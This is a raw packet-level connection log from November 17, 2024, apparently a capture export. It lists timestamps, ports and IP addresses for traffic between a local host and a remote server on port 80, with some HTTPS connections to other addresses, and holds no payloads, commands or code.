Nov 17, 2024 22:20:49.256808996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256819010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256843090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256848097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256867886 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256874084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256891012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256908894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256920099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256943941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256953001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.256978989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.256983995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257016897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257025003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257081985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257280111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257292986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257313013 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.257323980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257328033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257339954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257365942 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.257366896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257376909 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.257401943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257401943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.257405996 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.257436991 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.257437944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257472038 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.257473946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.257714987 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.258348942 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.258374929 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.258467913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.258846998 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.258888006 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.258894920 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.258896112 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.258922100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.258929014 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.258944988 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.259000063 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.264483929 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264513969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264530897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264558077 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264558077 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264575958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264625072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264786005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264857054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264874935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264903069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264926910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.264944077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264966011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.264985085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265006065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265522003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265538931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265571117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265607119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265686989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265703917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265736103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265738964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265738964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265763044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265777111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265780926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265796900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265799046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265815020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265831947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.265832901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265832901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265847921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.265878916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.266580105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.266596079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.266612053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.266624928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.266655922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.266655922 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.266671896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.266690016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.266710997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.266727924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267098904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267113924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267133951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267155886 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267182112 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267369986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267388105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267405033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267421007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267421961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267437935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267448902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267463923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267848015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267863989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267889977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267905951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267918110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267930984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267934084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267947912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267951965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.267977953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.267992020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.268699884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.268739939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.268743038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.268779039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.268780947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.268798113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.268815041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.268820047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.268838882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.268857002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.269426107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269443035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269460917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269486904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269490957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.269504070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269512892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.269515991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.269541025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.269562960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.270313978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270329952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270356894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270371914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270380974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.270390034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270407915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.270407915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.270431995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.270454884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271204948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271234035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271251917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271260023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271279097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271281004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271291018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271300077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271323919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.271334887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271353006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.271365881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272037983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272056103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272079945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272104979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272109032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272124052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272128105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272146940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272151947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272183895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272197962 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272854090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272903919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272922039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272949934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272952080 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272968054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.272977114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.272989035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.273000002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.273015022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.273030996 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.273689985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.273744106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.283092976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.283128977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.283149004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.283165932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.283181906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.283209085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.284770012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284825087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284854889 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.284867048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.284881115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284915924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284943104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.284950972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284955025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.284992933 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.284993887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.285007954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.285037994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.285038948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.285049915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.285088062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.307820082 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.307873964 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.307909966 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.307949066 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.307965994 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.307998896 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.326333046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326370001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326405048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326416969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326458931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326486111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326519966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326522112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326558113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326577902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326600075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326606989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326659918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326711893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326730967 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326749086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326786041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326807022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326819897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326831102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326857090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326886892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326904058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326932907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.326939106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.326975107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.327013969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.327050924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.358623028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.358638048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.358675957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.358692884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.358733892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.358733892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360424995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360461950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360503912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360517025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360518932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360555887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360591888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360611916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360625982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360636950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360681057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360683918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360712051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360726118 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360745907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360754967 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360781908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360793114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360825062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.360831976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.360874891 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.377800941 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.377892017 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.377923012 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.377959013 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:49.377978086 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.378004074 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:49.399538040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.399605989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.399605989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.399641037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.399648905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.399673939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401130915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401186943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401187897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401230097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401246071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401283026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401294947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401319027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401329041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401360035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401362896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401396036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401405096 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401434898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.401439905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.401479006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.406194925 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.406305075 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.406424999 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.406622887 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.406642914 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.406653881 CET	60867	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.406660080 CET	443	60867	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.409698963 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.409746885 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.409821033 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.410027027 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:49.410038948 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:49.443480968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443538904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443594933 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443604946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443631887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443644047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443675995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443689108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443725109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443732977 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443759918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443763018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443794966 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443799973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443830013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443835974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443865061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443869114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443902016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443911076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443939924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.443948984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.443980932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.475203991 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.475260973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.475275993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.475296974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.475302935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.475352049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.475387096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.475395918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.475435019 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.476782084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.476840019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.476891994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:49.476892948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:49.476949930 CET	80	60797	185.215.113.206	192.168.2.7
